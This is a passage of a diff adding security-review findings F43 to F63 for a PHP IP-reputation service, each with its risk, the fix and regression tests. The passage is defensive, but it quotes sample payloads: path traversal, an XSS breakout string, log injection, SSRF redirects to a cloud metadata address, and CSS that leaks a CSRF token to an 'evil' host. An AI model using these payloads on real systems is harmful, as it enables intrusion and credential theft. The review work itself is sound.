+  anonymous-redirect, none-role-403 + zero-api-calls,
+  score-distribution-proxy mirror, viewer-allowed,
+  operator-and-admin-allowed, unknown-role-rejected, and
+  empty-role-rejected.
+
+### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
+- **Files:** `api/src/App/AppFactory.php:256`,
+  `ui/src/App/AppFactory.php:130`,
+  `api/src/Application/Admin/IpsController.php:121-127`
+- **Risk:** `.+` matches multi-segment paths. Currently safe because
+  `IpAddress::fromString` rejects non-IP strings, but any future
+  reuse of `$args['ip']` as a filename, log key, or downstream URL
+  component inherits a path-traversal sink. Tighten to a strict IP
+  charset regex.
+- **Severity: 1**
+- **Status:** Fixed. Both routes now use the strict pattern
+  `[0-9a-fA-F.:%]+` instead of `.+`:
+  - `api/src/App/AppFactory.php` — `GET /api/v1/admin/ips/{ip:[0-9a-fA-F.:%]+}`
+  - `ui/src/App/AppFactory.php` — `GET /app/ips/{ip:[0-9a-fA-F.:%]+}`
+  The charset covers IPv4 dotted-quad (digits + `.`), IPv6 hex (digits
+  + a-f/A-F + `:`), and the `%` byte that survives the UI's
+  `rawurlencode($ip)` for IPv6 colons (e.g. `2001%3Adb8%3A%3A1`)
+  before the controller's `rawurldecode`. Anything outside that —
+  `/`, `..`, `?`, spaces, dashes, brackets — fails to match the route
+  and 404s before the handler can read `$args['ip']`. The handler's
+  existing `IpAddress::fromString` validation is kept as a second
+  layer (still rejects e.g. `999.999.999.999` which is in the
+  charset but not a valid IP). Regression tests:
+  `api/tests/Integration/Admin/IpsControllerTest.php` —
+  `testDetailRejectsNonIpShapedPaths` data-provider covers path
+  traversal (`..%2Fetc%2Fpasswd`), multi-segment paths (`/192.0.2.1/extra`),
+  query-injection probes, backslashes, spaces, dashes, and bracketed
+  IPv6 (`[2001:db8::1]`) — all 404 at the route layer. The existing
+  `testDetail404OnInvalidIp` (using `not-an-ip` with a dash) and
+  `testDetailRendersForUnknownIpWithCleanStatus` (using
+  `198.51.100.99`) document the 404-via-route vs.
+  200-via-handler split.
+
+### F44 — Job name not strictly regex-validated before audit emission
+- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
+- **Risk:** `registry->has($name)` is the gate. A future change that
+  trims/url-decodes inside `has()` could turn the audit-emit path
+  into log injection or forged audit entries. Validate against
+  `^[a-z0-9_-]+$` in the controller.
+- **Severity: 1**
+- **Status:** Fixed. New `JobsAdminController::JOB_NAME_PATTERN`
+  constant `^[a-z0-9_-]+$`; `trigger()` now `preg_match`s the
+  `{name}` segment against it as the first thing it does, returning
+  the same 404 `unknown_job` envelope used for the missing-job
+  branch. The check runs *before* `registry->has()` and *before* the
+  `job.triggered` audit emit, so a future refactor that turns
+  `has()` permissive on trim/url-decode/case-folding cannot escalate
+  the route into log injection or forged audit entries. Regression
+  tests in
+  `api/tests/Integration/Admin/JobsAdminControllerTest.php` —
+  `testTriggerRejectsMalformedJobName` data-provider covers
+  uppercase, dotted, space, CR/LF injection, brackets, percent-
+  encoded space, and `..` — every case must 404 AND leave zero
+  `job.triggered` rows in `audit_log`.
+
+### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
+- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
+- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
+  `192.168.0.0/16`, plus loopback. Any container reachable on the
+  internal docker network passes the network gate. Safer: pin to a
+  named docker-compose network or to the explicit scheduler IP.
+- **Severity: 1**
+- **Status:** Fixed by the F25 fix (`33e9198`). The hardcoded RFC1918
+  list is gone; `InternalNetworkMiddleware::DEFAULT_ALLOWED_CIDRS` is
+  now `['127.0.0.1/32', '::1/128']` and the constructor takes an
+  explicit allowlist. The container wires that allowlist from the new
+  `INTERNAL_CIDR_ALLOWLIST` env var (parsed via
+  `InternalNetworkMiddleware::parseCidrList`); empty env →
+  loopback-only. The bundled scheduler also moved to
+  `network_mode: "service:api"` (so its calls land on `127.0.0.1`),
+  removing the only legitimate non-loopback caller in the default
+  topology — operators with a host-cron VM or other private-bridge
+  caller opt in by listing the explicit IP/CIDR. The earlier finding
+  text predates the F25 fix; closing here for bookkeeping. Regression
+  tests in
+  `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
+  `defaultAddressProvider` includes `rfc1918 10/8 rejected by
+  default`, `rfc1918 172.16/12 rejected by default`, `rfc1918
+  192.168/16 rejected by default`, and the loopback admit cases —
+  every previously-permissive RFC1918 source now 404s under the
+  default config.
+
+### F46 — LIKE wildcard injection in IPs search `q`
+- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
+- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
+  meta-characters are not escaped. `?q=%` matches every row;
+  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
+  validator only `trim()`s `q`; no length cap.
+- **Status:** Fixed by the F30 fix (`2cc1924`).
+  `IpsController::parseSearchFilters` now rejects any `q` not matching
+  `^[0-9a-fA-F:.]+$` or longer than 64 chars with 400
+  `validation_failed`; neither `%` nor `_` survives the charset, and
+  the source comment cites both F30 and F46. The repository's LIKE
+  path also re-validates with the same regex (defence-in-depth) and
+  only ever issues `s.ip_text LIKE 'q%'`. The earlier finding text
+  predates that fix; closing here for bookkeeping. Regression tests
+  in `api/tests/Integration/Admin/IpsControllerTest.php`:
+  `testSearchRejectsNonIpShapedQuery` covers `?q=%` and `?q=_____`
+  among other malformed shapes; `testSearchRejectsOverlongQuery`
+  caps the length at 64 chars.
+- **Severity: 1**
+
+### F47 — Unbounded length on string filters reaching SQL
+- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
+  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
+- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
+  `subject_id` are accepted as arbitrary-length strings. Bound
+  parametrically (no SQLi) but multi-megabyte values are happily
+  forwarded to the prepared statement, wasting RAM/CPU per request.
+  Apply max length 128 plus an allowlist regex on `*_kind` fields.
+- **Severity: 1**
+- **Status:** Fixed. The 128-char length cap from F31's fix
+  (`MAX_FILTER_LENGTH`) already covers `action`, `entity_type`,
+  `entity_id`, `subject_kind`, and `subject_id` — the
+  multi-megabyte-payload concern. F47 also asked for an allowlist
+  regex on the `*_kind` fields. New
+  `AuditController::KIND_PATTERN = '/^[a-z0-9][a-z0-9_-]*$/'`
+  applies to `entity_type` and `subject_kind`; `actor_kind` and
+  `actor_via` were already in-array-allowlisted. The pattern matches
+  every real `target_type` / `actor_kind` value the audit emitter
+  writes (`reporter`, `consumer`, `admin-token`, `manual_block`,
+  `oidc_role_mapping`, …) and rejects uppercase, dots, spaces, CR/LF,
+  and leading-dash inputs that wouldn't match any column value
+  anyway. Regression test
+  `AuditLogControllerTest::testKindFilterCharsetGate` covers
+  `entity_type` and `subject_kind` reject paths plus a
+  smoke-pass for known good kinds.
+
+### F48 — MaxMind tarball extraction has no decompressed-size cap
+- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
+- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
+  so direct path-traversal is mitigated, but there is no per-entry
+  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
+  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
+  manually and enforce a max uncompressed size.
+- **Severity: 1**
+- **Status:** Fixed. New `MaxMindDownloader::assertSizeBudget` walks
+  the `PharData` (via `RecursiveIteratorIterator` so it descends
+  into the nested `GeoLite2-…/` directory) BEFORE
+  `extractTo`, summing each entry's `getSize()` (uncompressed) and
+  throwing `DownloaderException` if any single entry exceeds
+  `MAX_ENTRY_BYTES = 200 MiB` or the total exceeds
+  `MAX_TOTAL_BYTES = 400 MiB`. Real GeoLite2 MMDBs are ~6–7 MiB; the
+  caps are generous against future growth while bounding the
+  worst-case at "no single entry can fill a small disk". The check
+  runs in `fetchEdition()` immediately after `new PharData($tarPath)`,
+  so a bomb tarball never gets a single decompressed byte on disk.
+  Helper is `public` with `@internal` so the unit test can drive it
+  with small caps without building a >200 MiB fixture; production
+  call site uses the defaults. Regression tests in
+  `api/tests/Unit/Enrichment/MaxMindDownloaderTest.php`:
+  `testNormalArchivePasses` (small fixtures pass with default
+  caps), `testEntryOverPerEntryCapIsRejected` (4 KiB entry rejected
+  under 1 KiB cap, message includes the offending size), and
+  `testTotalOverArchiveCapIsRejected` (three 1 KiB entries breach a
+  2 KiB total cap), plus `testNestedEntriesAreCounted` to prove the
+  recursive iteration descends into the date-stamped subdirectory
+  the real MaxMind tarball nests.
+
+### F49 — DB-IP gunzip has no decompressed-size cap
+- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
+- **Risk:** `gzdecode($compressed)` allocates the full decompressed
+  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
+  misconfiguration) could serve a tiny gzip whose decompressed form
+  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
+  bail past a threshold.
+- **Severity: 1**
+- **Status:** Fixed. `DbipDownloader::gunzip` now streams via
+  `gzopen` / `gzread` 64 KiB at a time (peak memory = the chunk, not
+  the file) and aborts with `DownloaderException` once the running
+  total exceeds `MAX_DECOMPRESSED_BYTES = 400 MiB`. The cap matches
+  the MaxMind tarball total cap from F48 so both downloaders agree
+  on what "too big" looks like; real `dbip-country-lite-*.mmdb` is
+  ~10 MiB, so the cap is generous against future growth. On cap
+  breach (or any other gunzip error), the partial output file is
+  unlinked so the caller never sees a half-decoded MMDB on disk;
+  the gz input is left in place so the operator can see what was
+  attempted. The gunzip helper is split into a private `gunzip()`
+  with the production cap and a `public @internal gunzipWithCap()`
+  that takes the cap as an argument so the unit test can drive it
+  with small fixtures instead of building 400 MiB of test data.
+  Regression tests in
+  `api/tests/Unit/Enrichment/DbipDownloaderTest.php`:
+  `testNormalGunzipPasses`, `testOutputOverCapIsRejectedAndCleanedUp`
+  (4 KiB plaintext under a 1 KiB cap → exception + no partial output
+  file), `testEmptyGzipIsRejected`, `testMissingInputIsRejected`,
+  and `testLargeInputStreamsCorrectly` (256 KiB through the chunked
+  loop, ensuring chunked accumulation works correctly across multiple
+  reads).
+
+### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
+- **File:** `api/src/App/Container.php:279-288`
+- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
+  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
+  constraints. A malicious upstream or DNS poisoning could 302 a
+  download to `http://169.254.169.254/...` or `file://`. URL is a
+  constant in the default deploy, so this is defence-in-depth.
+  Mitigation:
+  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
+  plus a private-IP guard.
+- **Severity: 1**
+- **Status:** Fixed. Two layers added to the GeoIP-downloader Guzzle
+  client in `api/src/App/Container.php`:
+  1. **Tight `allow_redirects`.** `['max' => 3, 'protocols' =>
+     ['https'], 'strict' => true, 'referer' => false,
+     'track_redirects' => false]`. Caps the chain at 3 hops, refuses
+     to follow `http://` or `file://` redirects, and never sends a
+     Referer.
+  2. **`PrivateHostGuardMiddleware`.** New handler-stack middleware
+     in `api/src/Infrastructure/Enrichment/Downloaders/`. Inspects
+     the URL's literal host on every outgoing request — including
+     each redirect target — and throws
+     `GuzzleHttp\Exception\TransferException` before opening a socket
+     to a loopback / link-local / RFC1918 / CGNAT / multicast
+     address (IPv4 + IPv6) or a known instance-metadata hostname
+     (`169.254.169.254`, `metadata.google.internal`, `localhost`,
+     `0.0.0.0`). The post-redirect
+     `http://169.254.169.254/...` / `https://localhost/...` /
+     `https://10.0.0.1/...` patterns therefore die at the request
+     layer rather than reaching the network. The guard inspects
+     literal hosts only — pinning DNS to catch a public hostname
+     pointing at a private IP is out of scope for "defence in depth";
+     the primary controls are the constant base URL plus the
+     `protocols => ['https']` redirect gate.
+  Regression tests in
+  `api/tests/Unit/Enrichment/PrivateHostGuardMiddlewareTest.php`:
+  17 blocked-host data-provider cases (IPv4 + IPv6 across loopback,
+  link-local, RFC1918, CGNAT, multicast, all-zero, metadata IP,
+  metadata hostname, `localhost`), 6 allowed-host cases (`download.
+  db-ip.com`, `download.maxmind.com`, `ipinfo.io`, just-outside-
+  172.16/12, `1.1.1.1`, public IPv6), `testFactoryProducesMiddleware
+  ThatGuardsBeforeHandler` proving the inner handler is not
+  invoked on the blocked branch, and `testEmptyHostIsRejected`.
+
+### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
+- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
+- **Risk:** Safe today because the only caller passes a typed list,
+  but the `sprintf` pattern is fragile. Add
+  `array_filter($groupIds, 'is_string')` to make the contract
+  explicit.
+- **Severity: 1**
+- **Status:** Fixed. `RoleMappingRepository::resolveRole` now does
+  `array_values(array_filter($groupIds, 'is_string'))` as the first
+  step, so the `count($groupIds)` placeholder generation and the
+  bind-list always agree even when a future caller passes a mixed
+  array, a hash with skipped indexes, or anything else that violates
+  the PHPDoc `list<string>` contract. After filtering, the empty
+  case correctly falls back to the default role. Regression tests
+  in `api/tests/Integration/Auth/RoleMappingRepositoryTest.php`:
+  - happy-path highest-role-resolution and default-fallback,
+  - non-string entries are filtered, retaining valid string IDs,
+  - all-non-string list collapses to the default,
+  - a hash with non-contiguous keys (`[5 => 'group-x', 12 => '…']`)
+    is re-keyed and the IN clause still works.
+
+### F52 — Reporter / consumer / category `name`/`reason` accept control characters
+- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
+  `ConsumersController.php:67-70`,
+  `ManualBlocksController.php`, `AllowlistController.php`,
+  `CategoriesController.php`
+- **Risk:** NULs, newlines, ANSI escapes land in
+  `audit_log.target_label` and `details_json`. Twig auto-escapes for
+  display, but log-injection (`\n[CRIT] fake event`) is possible
+  downstream. Strip control chars and NFC-normalise at the input
+  boundary.
+- **Severity: 1**
+- **Status:** Fixed. New `AdminControllerSupport::stripControlChars`
+  and `cleanString` helpers strip C0 (`0x00..0x1f`), DEL (`0x7f`),
+  and C1 (`0x80..0x9f`) bytes. Applied at every relevant call site
+  on both create and update paths in:
+  - `ReportersController` — `name`, `description`,
+  - `ConsumersController` — `name`, `description`,
+  - `CategoriesController` — `name`, `description` (slug is already
+    regex-validated to lowercase + `_`-only),
+  - `ManualBlocksController` — `reason`,
+  - `AllowlistController` — `reason`.
+  The strip removes the ESC byte that leads ANSI escape sequences,
+  so terminal-interpretation attacks on log viewers (`\u{001b}[31m`)
+  collapse — the trailing `[31m` text remains visible but inert
+  without the lead-in. NULs and newlines (`\n[CRIT] fake event`)
+  are gone outright. NFC normalisation was deliberately skipped —
+  the api doesn't require `ext-intl` and adding the dependency for
+  a defence-in-depth nice-to-have isn't worth the install-footprint
+  cost. The `details_json` audit blob inherits the scrub because
+  the controllers feed the cleaned `name` / `description` / `reason`
+  into the audit emit. Regression tests:
+  `api/tests/Integration/Admin/InputControlCharStrippingTest.php` —
+  one POST per controller plus a PATCH on the reporter update path,
+  asserting both that the control bytes are gone (`preg_match(
+  '/[\x00-\x1f\x7f-\x9f]/u', value) === 0`) and that the
+  surrounding visible payload round-trips byte-for-byte. The
+  reporter case also drills into `audit_log.target_label` and
+  `details_json` to prove the audit row never sees the raw bytes.
+
+### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
+- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
+- **Risk:**
+  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
+  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
+  HTML-decodes the attribute before Alpine evaluates it as JS, so
+  `&#039;` becomes a literal `'` and breaks out of the JS string. If
+  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
+  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
+  Use `e('js')` for content interpolated into a JS-attribute.
+- **Severity: 1**
+- **Status:** Fixed by the F24 fix (`193f646`). When the CSP dropped
+  `'unsafe-inline'` and `'unsafe-eval'`, all inline-eval Alpine
+  patterns had to be rewritten — the categories edit template now
+  reads:
+  ```html
+  <div x-data="decayPreview"
+       data-decay-fn="{{ category.decay_function }}"
+       data-decay-param="{{ category.decay_param }}">
+  ```
+  `x-data="decayPreview"` is the component name only (no inline JS
+  interpolation), and the value flows via Twig's default `e('html')`-
+  escaped HTML data attribute. The Alpine component reads it via
+  `this.$el.dataset.decayFn` — a string DOM read, never `eval`.
+  `app.js` further whitelists the value to the known enum:
+  `ds.decayFn === 'linear' ? 'linear' : 'exponential'` — so even if
+  a value somehow drifted, only the two known states map. No
+  Alpine-side regression test (no JS-interpreted Twig escaping path
+  remains in the template), but the rewritten pattern is one of the
+  CSP-build cases the F24 work covered.
+
+### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
+- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
+- **Risk:** Token validation is correct (constant-time compare,
+  256-bit entropy). Missing layered checks. No JSON-body extraction
+  path (the middleware reads only header or `getParsedBody()`); fine
+  today, brittle for future PUT/PATCH endpoints with JSON.
+- **Severity: 1**
+- **Status:** Fixed. Two new layers on top of the existing
+  constant-time token compare:
+  1. **Same-origin gate.** State-changing requests with a present
+     `Origin` (or, when `Origin` is absent but `Referer` is present,
+     with a `Referer`) whose scheme+host+port doesn't match the
+     request URI's are refused with 403 BEFORE the token check, so a
+     cross-origin attacker who somehow exfiltrated the token cookie
+     still can't fire a same-token cross-origin POST.
+     `Origin: null` (sandboxed iframes / file:// pages) and the
+     "neither header present" branch fall through to the token-only
+     path — the curl/programmatic clients the test suite uses; modern
+     browsers always send `Origin` on POST/PUT/PATCH/DELETE.
+     Default ports (`:443` for https, `:80` for http) are normalised
+     out so `https://example.com` and `https://example.com:443`
+     compare equal.
+  2. **JSON body extraction.** `extractToken` now also reads
+     `csrf_token` from the JSON request body when
+     `Content-Type: application/json`, so a future fetch-with-JSON
+     PUT/PATCH endpoint inherits CSRF protection without a per-route
+     shim. Existing form-encoded and `X-CSRF-Token` header paths are
+     unchanged.
+  Regression tests in `ui/tests/Unit/Http/CsrfMiddlewareTest.php`:
+  cross-origin Origin → 403, same-origin Origin → 200,
+  Referer-fallback when Origin absent (same- and cross-origin),
+  `Origin: null` deferring to the token check, JSON-body token
+  accepted, JSON-body wrong token → 403.
+
+### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
+- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
+- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
+  Alpine runs the attribute through. Backticks aren't escaped,
+  Unicode permissive. A maintainer footgun more than an exploit.
+  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
+  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
+  pattern already used in `dashboard.twig`).
+- **Severity: 1**
+- **Status:** Fixed by the F24 fix (`193f646`), the same CSP-
+  tightening migration that resolved F53. The previously-vulnerable
+  pattern
+  ```html
+  x-data="scoreOverTime({
+    reports: {{ score_chart.reports|json_encode|e('html_attr') }},
+    ...
+  })"
+  ```
+  was rewritten to the exact pattern F55 recommended:
+  ```html
+  x-data="scoreOverTime"
+  data-score-chart="{{ {reports: …, categories: …, now: …}
+                       |json_encode|e('html_attr') }}"
+  ```
+  The `e('html_attr')` filter now escapes for the actual context
+  (HTML attribute), and `app.js` reads
+  `JSON.parse(this.$el.dataset.scoreChart)` — a string DOM read
+  followed by a JSON parse, never an Alpine eval. Closing F55 for
+  bookkeeping; no new code change needed.
+
+### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
+- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
+  `pages/categories/edit.twig:111-135`,
+  `pages/policies/edit.twig:139-422`,
+  `pages/audit/index.twig:102-131`,
+  `layout.twig:9-22`
+- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
+  (F24). Migrating to per-request nonces, or moving these scripts
+  into a packaged `/assets/app.js`, lets the CSP drop the
+  `'unsafe-inline'` token.
+- **Severity: 1**
+- **Status:** Fixed by the F24 fix (`193f646`). Both migration paths
+  the SEC_REVIEW recommended were applied:
+  1. Per-page inline scripts in `pages/ips/detail.twig`,
+     `pages/categories/edit.twig`, `pages/policies/edit.twig`, and
+     `pages/audit/index.twig` are gone — their behaviour was moved
+     into Alpine components in the packaged `ui/resources/js/app.js`,
+     loaded via `<script src="/assets/app.js" defer>` in `layout.twig`.
+  2. The single remaining inline `<script>` (the dark-mode FOUC
+     preloader in `layout.twig` — has to stay inline because `app.js`
+     is `defer`red and runs after layout) now carries
+     `nonce="{{ csp_nonce }}"`, where `csp_nonce` is minted per
+     request by `App\Http\CspMiddleware` and matched on the response's
+     `Content-Security-Policy` header.
+  Result: `script-src` is now `'self' 'nonce-…'` only —
+  `'unsafe-inline'` is gone. `grep -rn "<script" ui/resources/views`
+  returns exactly the two layout.twig hits (one inline-with-nonce,
+  one external src). Closing F56 for bookkeeping; no new code change
+  needed.
+
+### F57 — Session cookie name lacks `__Host-` prefix
+- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
+- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
+  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
+  these at the browser and prevents subdomain cookie shadowing.
+  Free defence-in-depth.
+- **Severity: 1**
+- **Status:** Fixed. New `SessionManager::cookieName()` returns
+  `__Host-irdb_session` when `secureCookie` is true (production /
+  HTTPS) and `irdb_session` otherwise. `startSession()` now calls
+  `session_name($this->cookieName())` so the response's
+  `Set-Cookie` header carries the prefixed name in production. The
+  prefix is a browser-enforced contract: cookies named `__Host-…`
+  are REJECTED unless they have `Secure`, `Path=/` exactly, and no
+  `Domain` attribute (host-only) — which is exactly the shape the
+  existing `session_set_cookie_params` already produces, so the
+  rename is a free defence-in-depth tightening that prevents a
+  parent-domain or subdomain page from shadowing the session
+  cookie. Dev mode (`APP_ENV=development`, `secureCookie=false`,
+  HTTP) keeps the unprefixed name because browsers reject `__Host-`
+  over plain HTTP. Existing rolling sessions get implicitly
+  invalidated on deploy (the cookie name changes), so users
+  re-authenticate; acceptable cost for the security improvement.
+  Regression tests in `ui/tests/Unit/Auth/SessionManagerTest.php`:
+  `testCookieNameUsesHostPrefixWhenSecure` and
+  `testCookieNameSkipsHostPrefixInDev`.
+
+### F58 — `/api/docs` CSP allows external CDN without SRI
+- **File:** `api/docker/Caddyfile:41`
+- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
+  the CDN is compromised or RapiDoc serves user-influenced content,
+  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
+  tag, or vendor a copy locally.
+- **Severity: 1**
+- **Status:** Fixed. `DocsController` now emits the RapiDoc
+  `<script>` tag with `integrity="sha384-…"` and
+  `crossorigin="anonymous"`. The hash
+  (`MDSxszbIJtK/9YakZ3tvi2bK6LaaHnB8+Hd2/fCfih0tLa+Mqlv6HO0bZdrICjjG`)
+  was computed from the actual upstream bytes via `openssl dgst
+  -sha384 -binary | base64`. The browser refuses to execute the
+  script if the CDN serves different bytes — covers a jsDelivr
+  compromise, an in-flight content modification, or a hostile
+  origin failover. The hash is captured as a class constant
+  (`RAPIDOC_INTEGRITY`) alongside `RAPIDOC_URL` so a future
+  RapiDoc version bump is a documented two-line change with the
+  reproduction recipe in the docblock. The Caddyfile CSP is
+  unchanged: `script-src 'self' https://cdn.jsdelivr.net
+  'unsafe-inline'` still allows the CDN host (the SRI is the
+  per-bytes contract, the CSP entry is the per-host contract).
+  Vendoring locally was considered but rejected: the M01 Caddyfile
+  routes everything through PHP, and reshaping that to serve a
+  static asset would be a wider change than the F58 ask. The CDN
+  + SRI combination is the spec-accepted alternative.
+  Regression test:
+  `api/tests/Integration/Public/DocsControllerTest.php` —
+  `testDocsPageEmbedsRapiDocWithSriIntegrity` asserts the script
+  tag carries a well-formed sha384 SRI hash AND
+  `crossorigin="anonymous"`.
+
+### F59 — Missing modern hardening headers
+- **Files:** `ui/docker/Caddyfile:18-34`,
+  `api/docker/Caddyfile:24-30`
+- **Risk:** No `Cross-Origin-Opener-Policy`,
+  `Cross-Origin-Resource-Policy`, or
+  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
+  only `geolocation`, `microphone`, `camera`. Cheap to add the
+  rest.
+- **Severity: 1**
+- **Status:** Fixed. Both Caddyfiles now emit:
+  - `Cross-Origin-Opener-Policy: same-origin` — isolates the
+    browsing context from any popups it opens; a
+    `window.opener.location = …` from a newly-spawned
+    cross-origin tab can no longer reach back into the app.
+  - `Cross-Origin-Resource-Policy: same-origin` — tells the
+    browser the resource may only be loaded by same-origin
+    documents (defeats sub-resource leaks via cross-origin
+    `<img>`/`<script>`/`<link>` inclusion).
+  - `X-Permitted-Cross-Domain-Policies: none` — blocks legacy
+    Adobe Flash / Acrobat `crossdomain.xml` lookups.
+  COEP `require-corp` was deliberately *not* added: it would
+  require every cross-origin resource (e.g. the jsDelivr-hosted
+  RapiDoc on `/api/docs`) to opt in via CORP, which we don't
+  control. The SEC_REVIEW called out COOP / CORP / X-Permitted-
+  CDP only; sticking to that scope. (`Permissions-Policy`
+  hardening — F61 — is tracked separately.) Caddyfile syntax is
+  validated with `frankenphp validate --config … --adapter
+  caddyfile` ("Valid configuration") on both files.
+
+### F60 — HSTS lacks `preload`
+- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
+- **Risk:** Informational. Operators who want HSTS preload need to
+  add the directive.
+- **Severity: 1**
+- **Status:** Fixed. Both Caddyfiles now read the HSTS header value
+  from a new `HSTS_HEADER` env var with the previous value
+  (`max-age=31536000; includeSubDomains`) as the default, so
+  operators who want to submit to https://hstspreload.org/ can opt
+  in by setting `HSTS_HEADER="max-age=31536000; includeSubDomains;
+  preload"` in their environment without patching the Caddyfile.
+  We deliberately don't enable `preload` by default: preload-listing
+  is a one-way commitment — browser preload removals take months —
+  and the M01 default is "operator runs the bundled compose stack
+  on a hostname they may want to retire". The `.env.example`
+  documents the override syntax with the SEC_REVIEW F60 reference.
+  Caddyfile syntax validated with `frankenphp validate --adapter
+  caddyfile` on both files; both report "Valid configuration".
+
+### F61 — Caddy `Permissions-Policy` minimal
+- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
+- **Risk:** Modern hardening also denies `interest-cohort`,
+  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
+  `fullscreen`, `display-capture`, `clipboard-read`, etc.
+- **Severity: 1**
+- **Status:** Fixed. The narrow `geolocation=(), microphone=(),
+  camera=()` was extended to a full deny-list of every browser
+  feature the admin UI doesn't use:
+  `accelerometer`, `ambient-light-sensor`, `autoplay`, `battery`,
+  `bluetooth`, `camera`, `clipboard-read`, `display-capture`,
+  `encrypted-media`, `fullscreen`, `gamepad`, `geolocation`,
+  `gyroscope`, `hid`, `idle-detection`, `interest-cohort` (FLoC),
+  `magnetometer`, `microphone`, `midi`, `payment`,
+  `picture-in-picture`, `screen-wake-lock`, `serial`,
+  `speaker-selection`, `usb`, `web-share`, `xr-spatial-tracking`.
+  `clipboard-write` is left at its same-origin default on the UI
+  Caddyfile so the existing `rawTokenCopy` Alpine component on the
+  Tokens page can still write the freshly-issued raw token to the
+  clipboard; the api Caddyfile denies `clipboard-write` outright
+  because the api never serves a page that needs it. Both
+  Caddyfiles validated with `frankenphp validate --adapter
+  caddyfile -e APP_ENV=production` — both report "Valid
+  configuration".
+
+### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
+- **File:** `ui/docker/Caddyfile:33`
+- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
+  can write CSS like
+  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
+  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
+  `style-src` and move dynamic widths to a stylesheet driven by
+  `data-*` attributes.
+- **Severity: 1**
+- **Status:** Fixed. `App\Http\CspMiddleware::policy` now emits
+  `style-src 'self'` only — `'unsafe-inline'` is gone. The two
+  templates that previously carried inline `style="…"` attributes
+  were migrated:
+  - **`partials/topnav.twig`** — the user-menu dropdown's
+    `style="display: none;"` pre-init hide replaced with
+    `x-cloak`. The bundled stylesheet
+    (`ui/resources/css/app.css`) now ships
+    `[x-cloak] { display: none !important; }` so the element is
+    hidden until Alpine boots and removes the attribute.
+  - **`pages/ips/detail.twig`** — the dynamic
+    `style="width: {{ width_pct }}%"` on the per-category score
+    bar replaced with `data-score-width="{{ width_bucket }}"` where
+    `width_bucket` is the percent rounded to 5%. The stylesheet
+    ships one rule per bucket
+    (`[data-score-width="0"] { width: 0%; }` …
+    `[data-score-width="100"] { width: 100%; }`). 5% buckets are
+    visually indistinguishable from per-pixel widths on the
+    1.5px-tall bar.
+  Regression tests in
+  `ui/tests/Unit/Http/CspMiddlewareTest.php` (extended
+  `testPolicyContainsNonceAndDropsUnsafeDirectives` to assert
+  `style-src 'self'`) and
+  `ui/tests/Integration/App/CspHeaderTest.php` (new
+  `testStyleSrcDropsUnsafeInline` and
+  `testNoInlineStyleAttributesInLoginTemplate`). Full UI suite
+  (188 tests / 587 assertions) passes.
+
+### F63 — Twig `autoescape` default is not explicitly configured
+- **File:** `ui/src/App/Container.php:105-131`
+- **Risk:** Defaults to `'html'` today, but a future Twig major or
+  Slim-twig wrapper change could quietly flip it. Pin
+  `'autoescape' => 'html'`.
+- **Severity: 1**
+- **Status:** Fixed. The Twig factory in `ui/src/App/Container.php`
+  now passes `'autoescape' => 'html'` explicitly. Twig 3 already
+  defaults to `'html'`, but pinning the option means a future major
+  bump (or a Slim-twig wrapper change) that flipped the default
+  would surface as a build-time error from `EscaperExtension`
+  (Twig refuses unknown strategy names) rather than as silently
+  un-escaped output. Regression tests in
